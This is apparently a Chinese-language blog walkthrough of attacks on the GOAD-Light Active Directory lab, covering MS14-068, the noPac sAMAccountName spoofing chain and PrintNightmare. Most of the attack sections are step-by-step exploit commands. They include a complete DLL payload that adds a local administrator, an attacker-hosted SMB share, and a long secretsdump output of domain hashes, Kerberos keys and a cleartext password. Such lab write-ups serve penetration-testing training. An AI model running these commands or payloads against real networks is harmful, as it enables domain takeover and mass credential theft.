GOAD-Light-Part5-用户漏洞利用

GOAD-Light_schema

MS14-068

MS14-068 简要概述

MS14-068是密钥分发中心 (KDC) 服务中的 Windows,漏洞它允许经过身份验证的用户在其 Kerberos 票证 (TGT) 中插入任意 PAC(代表所有用户权限的结构)

在Windows域中,它允许特权升级(通常是从普通用户到域/企业管理员)

KDC服务允许使用没有密钥的算法(如MD4、MD5、SHA1或CRC32),这意味着任何用户都可以在不知道任何秘密密钥的情况下伪造一个PAC,并要求KDC将其包含在一个票据中

所有没有KB3011780补丁的 DC 都容易受到攻击(版本低于Windows Server 2012 R2 max)

MS14-068 漏洞分析

  1. (AS-REQ)用户向KDC进行身份验证,请求一个没有PAC的TGT
  2. (AS-REP)KDC返回的TGT不携带PAC
  3. (PAC TIME)用户创建一个带有任意数据的PAC,并使用没有密钥的算法(这里使用MD5)对其进行”签名”
  4. (TGS-REQ)用户发送TGS-REQ中伪造的PAC不是在TGT中,而是在req-boby的authorization_data参数中
  5. (TGS-REP)KDC效验TGT和PAC,返回最高权限ST(类似于最高权限的TGT)

sAMAccountName spoofing(noPac)

CVE-2021-42278 简要概述

计算机账户的名称(即sAMAccountName属性)应以$结尾,但之前没有验证过程来确保这一点,结合CVE-2021-42287的滥用,攻击者可以冒充域控制器账户

CVE-2021-42287 简要概述

当请求服务票证时,需要先提供 TGT。当 KDC 找不到所请求的服务票证时,KDC 会自动再次搜索,并在末尾加上 $ 符号。发生的情况是:如果为 bob 获取了 TGT,并删除了 bob 用户,那么使用该 TGT 向自己请求另一个用户的服务票证 (S4U2self) 将导致 KDC 在 AD 中查找 bob$。如果域控制器帐户 bob$ 存在,那么 bob (用户) 刚刚获取了 bob$ (域控制器帐户) 的服务票证,就像任何其他用户一样。

具体情况是,如果为bob获取了一个TGT,并且bob用户被删除了,使用该TGT请求将另一个用户的服务票据(S4U2self)时,KDC会在AD中寻找bob$

如果域控制器账户bob$存在,那么bob(用户)就获得了bob$(域控制器账户)的服务票据

sAMAccountName spoofing 原理分析

攻击要求

能够编辑机器账户的sAMAccountName和servicePrincipalName属性是攻击链的最低要求,最简单的方法是域用户利用MachineAccountQuota域级属性创建一个机器账户,或者你的获取的域用户具备能修改域内机器属性的权限(注:sAMAccountName属性只有默认的域管理员和将机器加入域的用户具备,机器账户无法修改)

sAMAccountName: 登录名。

servicePrincipalName (SPN): 服务主体名称。

MachineAccountQuota:创建机器用户。

  1. 利用域用户身份创建一个机器账户

  2. 清楚机器账户的SPN

  3. 通过ldap修改机器账户的sAMAccountName属性为域控,不要添加”$”

  4. (AS-REQ)分析AS-REQ阶段数据包

    image-20260123151846294

    • as-req部分:

      • PVNO:表示的是Kerberos协议的版本,这里代表使用Kerberos V5
      • msg-type:消息类型
      • padata:Pre-authentication Data,预身份认证,是 Kerberos V5 协议的扩展点。通过在 AS-REQ 和 AS-REP 消息的 padata 字段中提供一个或多个预认证消息来执行预认证。
      • PA-DATA PA-ENC-TIMESTAMP:使用用户hash加密的时间戳,AS收到消息后使用对应hash解密,时间戳在规定范围即认证通过;域内设置”Do not require Kerberos preauthentication”,DC不会有Pre-authentication,这里可能出现的安全问题是AS-REP Roasting。
      • PA-DATA PA-PAC-REQUEST:Privilege Attribute Certificate,用于验证用户是否有权限访问某服务,这里的include-pac 参数为True,说明申请的TGT是包含PAC的
    • as-boby部分:

      • kdc-options:请求生成票据的标志位
      • cname:进行身份验证的账户名,这里是我们修改后的,为winterfell
      • sname:被请求服务的名字
      • etype:加密类型
  5. (AS-REP)分析AS-REP阶段的数据包,此阶段一切正常

    image-20260123152427093

    • ticket->enc-part 加密部分

      • cname:进行身份验证的账户名,这里是我们修改后的,为winterfell
      • authorization-data:包含客户端的身份权限信息,也就是包含在PAC当中
    • ticket->enc-part->pac 加密部分

      • Acct Name:对应的值是用户sAMAccountName
      • Group RID:对应组的RID,此处为正常RID(Domain Computers 515)修改此处将会导致提权,例如MS14-068
  6. 这时候再改回机器账户的sAMAccountName属性

  7. (TGS-REQ)查看TGS-REQ的数据包

    image-20260123152906337

    • PADATA->PA-TGS-REQ->ap-req->ticket: 与AS-REP获取的TGT一致

    • PA-TGS-REQ->ap-req->authenticator: 通过Logon Session Key 加密的时间戳,保证会话安全

    • PADATA->PA-FOR-USER:启用了S4u2Proxy,用户代表任意用户访问自身服务

    • PADATA->PA-FOR-USER->name:表示要模拟的用户,这里为administrator

    • sname: 代表请求服务名称,这里我自身winterfell

  8. (TGS-REP)查看TGS-REP的数据包,可以发现PAC重新生成了,因为KDC寻找不到saMAccountName值为winterfell(被删除了),但是能找到winterfell$(DC),所以重新生成了高身份的PAC

    image-20260123153106704

    • 重点看ST中的PAC部分:
      • Acct Name:对应的值为administrator
      • Group RID:对应的组已经变成了513(域用户组)

攻击流程

第一步:准备阶段(MAQ 利用)

攻击者利用 MachineAccountQuota 创建一个新的机器账户(假设原始名为 TempMachine$)。因为你是创建者,你拥有修改该账户 sAMAccountName 的权限。

第二步:属性篡改与“脱钩”

  1. 清除 SPN:为了避免冲突,先清除该账户的 servicePrincipalName
  2. 重命名:将 sAMAccountName 修改为域控制器的名字,但不带 $
    • 例如:域控真名叫 DC01$,你把自己的机器账户改名为 DC01
    • 关键点:此时域内存在两个“看似”一样的账户:一个是真正的 DC01$,一个是你的 DC01

第三步:申请 TGT(AS-REQ & AS-REP)

你以 DC01 的身份发起 Kerberos 身份认证。

  • AS-REQ:请求中的 cnameDC01
  • AS-REP:KDC 发现数据库里确实有个账户叫 DC01(就是你改名后的那个),于是下发一个 TGT。
  • 此时的状态:你拥有一个属于 DC01 的 TGT,但 PAC(特权属性证书)里的 Group RID 还是普通机器组(515)。

第四步:恢复原名(触发逻辑漏洞)

在请求服务票据(TGS)之前,你迅速将你的机器账户名改回 TempMachine$(或者其他名字)。 这意味着:此时域内再也没有 DC01 这个账户了。

第五步:申请 ST(TGS-REQ & TGS-REP)

你拿着 DC01 的 TGT 去请求访问服务(通常使用 S4U2self 模拟管理员)。

  1. KDC 校验:KDC 收到请求,查看 TGT 发现用户是 DC01
  2. 找不到人:KDC 去数据库里查 DC01,发现查无此人(因为你刚才改名了)。
  3. 自动补全:KDC 触发搜索逻辑,在末尾加个 $,变成了 DC01$
  4. 身份误认:KDC 查到了 真正的域控制器 DC01$
  5. 重新生成 PAC:KDC 认为是域控在请求,于是重新生成了一个带有 域控权限(或是高权限) 的 PAC 放入新的服务票据(ST)中。

sAMAccountName spoofing 攻击实践

使用cme模块检查域用户创建机器账户配额

1
crackmapexec  ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
1
2
3
4
5
SMB         winterfell.north.sevenkingdoms.local 445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMB
v1:False)
LDAP winterfell.north.sevenkingdoms.local 389 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing
MAQ winterfell.north.sevenkingdoms.local 389 WINTERFELL [*] Getting the MachineAccountQuota
MAQ winterfell.north.sevenkingdoms.local 389 WINTERFELL MachineAccountQuota: 10

添加新计算机

1
impacket-addcomputer -computer-name 'nopac1$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'ing'
  • -domain-netbios : 域 NetBIOS 名称(如果 DC 具有多个域,则为必需)
1
2
3
4
5
6
┌──(root㉿kali)-[/home/kali]                                                                                                                                                              
└─# impacket-addcompu-computer-name 'nopac1$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:ik
nownothing'ing'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account nopac1$ with password ComputerPassword.

清除我们新计算机的 SPN

https://github.com/dirkjanm/krbrelayx.git

1
python addspn.py --clear -t 'nopac1$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'

重命名计算机(计算机 -> DC)

1
renameMachine.py -current-name 'nopac1$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing

image-20260123165744935

获取 TGT

1
impacket-getTGT -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword' 

image-20260123165948825

恢复计算机名

1
renameMachine.py -current-name 'winterfell' -new-name 'pac1$' north.sevenkingdoms.local/jon.snow:iknownothing

image-20260123170026323

利用之前获得的TGT票据,通过S4U2self协议向DC请求ST

S4U2Self: 服务A通过S4U2Self协议,可以从域服务器获取账号B访问应用服务器A的TGS票据,就像账号B主动从域服务器获取一个访问服务A的TGS票据一样。可以理解为通过该协议,可以获取域内任意账号访问服务A的TGS票据,过程中不需要账号B认证到域

1
2
3
export KRB5CCNAME=winterfell.ccache 

impacket-getST -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug

image-20260123170505011

提供ST进行DCSync

1
2
export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
impacket-secretsdump -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
[*] Service RemoteRegistry is in stopped state                                                                                                                                            
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd889aedf5e478f0c101f0710e2f7025b
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\WINTERFELL$:plain_password_hex:ff3ccd6a8897c9792a30032500cb1323330b7fafabf85697d61f687355fc41a5ddb71e9e1fe1ab478b9ba3eaeaad37a2dfcb18029bd6421cce25220c9a992022fa3b4dd4d3ba7c7b6bc08
fea57785f7900d0d332277a3868d11e34d755c5f00f3224fec4fe0aaea20a7866d9662ee5dc83e05cfb8a5ea5c44163b9dc7aae620c5b6dad8874dddec219d07194fd045c3c91ad2ee144c43dbc20ee3fe7fe5a782ab02b80085e18d5f
0a6536d50d99c10ddcfb08351a7714339c6b3579b869b3258219050c8de95a7b8ab15afeeb013bcd239b11d6145b0ef378f9a01d442a3236afe5010fabfc8694a078029e198b96743
NORTH\WINTERFELL$:aad3b435b51404eeaad3b435b51404ee:d2774d0155f7661f9b4aa0769bd1abca:::
[*] DefaultPassword
NORTH\robb.stark:sexywolfy
[*] DPAPI_SYSTEM
dpapi_machinekey:0xeb5ad6010d52dad7ec76a7b30698eb5d2ffd50e3
dpapi_userkey:0xd8d87118a3c93c9ca895e0089c047712ba1d86e7
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::
robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::
sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:b777555c2e2e3716e075cc255b26c14d:::
brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::
rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::
hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::
jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::
samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::
jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::
sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:d2774d0155f7661f9b4aa0769bd1abca:::
CASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:933458ca9304a206f35e0c27396307dd:::
WIN-6N72ODSL1EX$:1122:aad3b435b51404eeaad3b435b51404ee:71ec7d3b5ae6a5ad6c9cf116fe151e9f:::
WIN-GTC7MYRWLNA$:1123:aad3b435b51404eeaad3b435b51404ee:3a97eb93a3ed0c2b9c84c39eef337970:::
pac1$:1124:aad3b435b51404eeaad3b435b51404ee:0eddedc35eb7b7ecde0c9f0564e54c83:::
WIN-XIGQOHBJQXW$:1125:aad3b435b51404eeaad3b435b51404ee:fa746f2ad7080bc22dc1026ae5c28d01:::
WIN-8YPG2PL0EQX$:1126:aad3b435b51404eeaad3b435b51404ee:b2f147c74073db4d3004a1c7afdcfa72:::
WIN-9SFCNJLUJOM$:1127:aad3b435b51404eeaad3b435b51404ee:293835c854f8e52959060b856dc318c8:::
SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:87104736ec563809ab3a7193245ae9c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972
Administrator:aes128-cts-hmac-sha1-96:bb7b6aed58a7a395e0e674ac76c28aa0
Administrator:des-cbc-md5:fe58cdcd13a43243
krbtgt:aes256-cts-hmac-sha1-96:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7
krbtgt:aes128-cts-hmac-sha1-96:a0f68a853b238b3ec6419307b60a1844
krbtgt:des-cbc-md5:49159ed668083e6d
vagrant:aes256-cts-hmac-sha1-96:aa97635c942315178db04791ffa240411c36963b5a5e775e785c6bd21dd11c24
vagrant:aes128-cts-hmac-sha1-96:0d7c6160ffb016857b9af96c44110ab1
vagrant:des-cbc-md5:16dc9e8ad3dfc47f
arya.stark:aes256-cts-hmac-sha1-96:2001e8fb3da02f3be6945b4cce16e6abdd304974615d6feca7d135d4009d4f7d
arya.stark:aes128-cts-hmac-sha1-96:8477cba28e7d7cfe5338d172a23d74df
arya.stark:des-cbc-md5:13525243d6643285
eddard.stark:aes256-cts-hmac-sha1-96:f6b4d01107eb34c0ecb5f07d804fa9959dce6643f8e4688df17623b847ec7fc4
eddard.stark:aes128-cts-hmac-sha1-96:5f9b06a24b90862367ec221a11f92203
eddard.stark:des-cbc-md5:8067f7abecc7d346
catelyn.stark:aes256-cts-hmac-sha1-96:c8302e270b04252251de40b2bd5fba37395b55d5ed9ac95e03213dc739827283
catelyn.stark:aes128-cts-hmac-sha1-96:50ce7e2ad069fa40fb2bc7f5f9643d93
catelyn.stark:des-cbc-md5:6b314670a2f84cfb
robb.stark:aes256-cts-hmac-sha1-96:d7df5069178bbc93fdc34bbbcb8e374fd75c44d6ce51000f24688925cc4d9c2a
robb.stark:aes128-cts-hmac-sha1-96:b2965905e68356d63fedd9904357cc42
robb.stark:des-cbc-md5:c4b62c797f5dd01f
sansa.stark:aes256-cts-hmac-sha1-96:a268e7a385f4f165c6489c18a3bdeb52c5e505050449c6f9aeba4bc06a7fcbed
sansa.stark:aes128-cts-hmac-sha1-96:e2e6e885f6f4d3e25d759ea624961392
sansa.stark:des-cbc-md5:4c7c16e3f74cc4d3
brandon.stark:aes256-cts-hmac-sha1-96:6dd181186b68898376d3236662f8aeb8fa68e4b5880744034d293d18b6753b10
brandon.stark:aes128-cts-hmac-sha1-96:9de3581a163bd056073b71ab23142d73
brandon.stark:des-cbc-md5:76e61fda8a4f5245
rickon.stark:aes256-cts-hmac-sha1-96:79ffda34e5b23584b3bd67c887629815bb9ab8a1952ae9fda15511996587dcda
rickon.stark:aes128-cts-hmac-sha1-96:d4a0669b1eff6caa42f2632ebca8cd8d
rickon.stark:des-cbc-md5:b9ec3b8f2fd9d98a
hodor:aes256-cts-hmac-sha1-96:a33579ec769f3d6477a98e72102a7f8964f09a745c1191a705d8e1c3ab6e4287
hodor:aes128-cts-hmac-sha1-96:929126dcca8c698230b5787e8f5a5b60
hodor:des-cbc-md5:d5764373f2545dfd
jon.snow:aes256-cts-hmac-sha1-96:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb
jon.snow:aes128-cts-hmac-sha1-96:d8bc99ccfebe2d6e97d15f147aa50e8b
jon.snow:des-cbc-md5:084358ceb3290d7c
samwell.tarly:aes256-cts-hmac-sha1-96:b66738c4d2391b0602871d0a5cd1f9add8ff6b91dcbb7bc325dc76986496c605
samwell.tarly:aes128-cts-hmac-sha1-96:3943b4ac630b0294d5a4e8b940101fae
samwell.tarly:des-cbc-md5:5efed0e0a45dd951
jeor.mormont:aes256-cts-hmac-sha1-96:be10f893afa35457fcf61ecc40dc032399b7aee77c87bb71dd2fe91411d2bd50
jeor.mormont:aes128-cts-hmac-sha1-96:1b0a98958e19d6092c8e8dc1d25c788b
jeor.mormont:des-cbc-md5:1a68641a3e9bb6ea
sql_svc:aes256-cts-hmac-sha1-96:24d57467625d5510d6acfddf776264db60a40c934fcf518eacd7916936b1d6af
sql_svc:aes128-cts-hmac-sha1-96:01290f5b76c04e39fb2cb58330a22029
sql_svc:des-cbc-md5:8645d5cd402f16c7
WINTERFELL$:aes256-cts-hmac-sha1-96:bfd0d4975256ea8a5f183f4cabeb58d7bb2d7cbcd803e2854ee3265971c28e71
WINTERFELL$:aes128-cts-hmac-sha1-96:74ee9f9c32fb8ed1fbc72dda9431de10
WINTERFELL$:des-cbc-md5:7ff72c75d5d683b5
CASTELBLACK$:aes256-cts-hmac-sha1-96:35ba116a62a152575f7b11fe76a35f83226006386d4694e905473837996b7b1a
CASTELBLACK$:aes128-cts-hmac-sha1-96:cfd580cffd8942f3ee3c8fdfe2fb0edb
CASTELBLACK$:des-cbc-md5:76fd07a208b9454a
WIN-6N72ODSL1EX$:aes256-cts-hmac-sha1-96:4b76ac19f96ebf8e98f0853cf3508caf7fb86e2c429f35b8bcc0533ff238b70c
WIN-6N72ODSL1EX$:aes128-cts-hmac-sha1-96:30800730e7522f8037cdd04f38fd4daf
WIN-6N72ODSL1EX$:des-cbc-md5:cb1f021f3b6497d5
WIN-GTC7MYRWLNA$:aes256-cts-hmac-sha1-96:7c6a439853ac14eb31f7665f616011dfe3a1cd7c11ef546b6c89e625bd251ae3
WIN-GTC7MYRWLNA$:aes128-cts-hmac-sha1-96:510ba10f5850f7600df9f4fd574874d2
WIN-GTC7MYRWLNA$:des-cbc-md5:7c61e91c16a4f4da
pac1$:aes256-cts-hmac-sha1-96:6b39a7268d7d0466586bcdfa77e9cef6d0ba120257008ddd5892cbc8a536354c
pac1$:aes128-cts-hmac-sha1-96:0d025466431d8d82013a9fa52889ab19
pac1$:des-cbc-md5:c75dda37ad4a4f32
WIN-XIGQOHBJQXW$:aes256-cts-hmac-sha1-96:64d96dd505f3ead10157ad46dd4942c35d1ea99612304f0d3739287ce5101343
WIN-XIGQOHBJQXW$:aes128-cts-hmac-sha1-96:925477eafcd3d40141c54735b8a282b9
WIN-XIGQOHBJQXW$:des-cbc-md5:679bc7d3799b8679
WIN-8YPG2PL0EQX$:aes256-cts-hmac-sha1-96:c2419908e0cee1ed566dcc7b10ae6f97e1c5c520c163db2708be8c71b0aa784b
WIN-8YPG2PL0EQX$:aes128-cts-hmac-sha1-96:f0fb83f61c12cc724d35012a711471a6
WIN-8YPG2PL0EQX$:des-cbc-md5:579dc858e0cb9b1c
WIN-9SFCNJLUJOM$:aes256-cts-hmac-sha1-96:e4d45b8f3f08b15b15b105f337cd0ce23e443e4f4452f446c56828c14e19a4a8
WIN-9SFCNJLUJOM$:aes128-cts-hmac-sha1-96:acf221480a591d5ee9cf73a0f8ba116f
WIN-9SFCNJLUJOM$:des-cbc-md5:fbf119629b978592
SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:24a6fc6e6c246dd759aee32d7eed5dcbc8b2533f9eb7c01d0cd264013fbfc3ac
SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:f85cb874ff299dfc240caf9bf68865fd
SEVENKINGDOMS$:des-cbc-md5:ea5458260ece0215

PrintNightmare

PrintNightmare 简要概述

打印机后台处理程序

Print Spooler 是 Microsoft 内置的管理打印作业的服务,默认情况下启用它,并在 SYSTEM 上下文中运行

打印机后台处理程序注册了 3 个 RPC 协议:

  • MS-RPRN:Microsoft 的打印系统远程协议。它定义了打印客户端和打印服务器之间同步进行的打印作业处理和打印系统管理的通信
  • MS-PAR:Microsoft 的打印系统异步远程协议。它具有与 MS-RPRN 相同的功能,但以异步方式工作
  • MS-PAN:Microsoft 的打印系统异步通知协议。用于从打印服务器接收打印状态通知,并将服务器请求的响应发送回服务器

PrintNightmare 指的是 RCE(远程命令执行)漏洞。如果易受攻击的机器配置为拒绝远程连接,则此漏洞仍可能在 LPE(本地特权提升)上下文中被利用

  1. 攻击者将驱动程序 DLL 文件存储在服务器可访问的 SMB 共享上
  2. 客户端创建一个包含指向攻击者 DLL 的路径的 DRIVER_INFO_2 对象,并将其传递给 DRIVER_CONTAINER 对象
  3. 客户端使用 DRIVER_CONTAINER 调用 RpcAddPrinterDriverEx,将攻击者的 DLL 加载到服务器的动态库中,并使用 dwFileCopyFlags 中的多个位值来绕过服务器的 SeLoadDriverPrivilege 权限验证
  4. 攻击者的 DLL 在服务器上以 SYSTEM 上下文执行
1
CVE-2021-1675.py 通过 RPC 调用 RpcAddPrinterDriverEx,诱使目标主机上的 spoolsv.exe(SYSTEM)下载并加载攻击者的 DLL,Windows Loader 在加载 DLL 时自动调用 DllMain(DLL_PROCESS_ATTACH),从而以 SYSTEM 权限执行攻击者代码。

PrintNightmare 攻击实践

检查 spooler

为了利用 printnightmare,我们将首先检查spooler是否在目标上处于活动状态

使用cme扫描

1
crackmapexec smb 192.168.56.10-22 -M spooler 

image-20260123195710724

使用 impacket-rpcdump

1
impacket-rpcdump @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'

image-20260123195815990

准备 dll

  • 准备利用dll
  • 将创建一个用户并将其添加为本地管理员
  • 创建文件 pnightmare2.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <lmaccess.h>
#include <lmapibuf.h>
#include <lmerr.h>

DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_3 lg;

ZeroMemory(&ud, sizeof(ud));
ud.usri1_name = L"pnightmare2";
ud.usri1_password = L"Test123456789!";
ud.usri1_priv = USER_PRIV_USER;
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT;

rc = NetUserAdd(NULL, 1, (LPBYTE)&ud, NULL);
if (rc != NERR_Success) return rc;

lg.lgrmi3_domainandname = L"pnightmare2";

rc = NetLocalGroupAddMembers(
NULL,
L"Administrators",
3,
(LPBYTE)&lg,
1
);

return rc;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
CreateAdminUserInternal();
}
return TRUE;
}

编译

1
x86_64-w64-mingw32-gcc -shared -o pnightmare2.dll pnightmare2.c -lnetapi32

准备 SMB 共享

1
impacket-smbserver -smb2support ATTACKERSHARE . 

利用 PrintNightmare 上传 DLL 并触发

https://github.com/cube0x0/CVE-2021-1675

1
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\192.168.56.107\ATTACKERSHARE\pnightmare2.dll'

image-20260123202043443

验证用户是否创建成功

1
crackmapexec smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!'

image-20260123202255060

导出凭据

1
impacket-secretsdump north.sevenkingdoms.local/pnightmare2:'Test123456789!'@192.168.56.11

image-20260123202347908


GOAD-Light-Part5-用户漏洞利用
http://xiaowu5.cn/2026/01/24/GOAD-Light-Part5-用户漏洞利用/
作者
5
发布于
2026年1月24日
许可协议
BY XIAOWU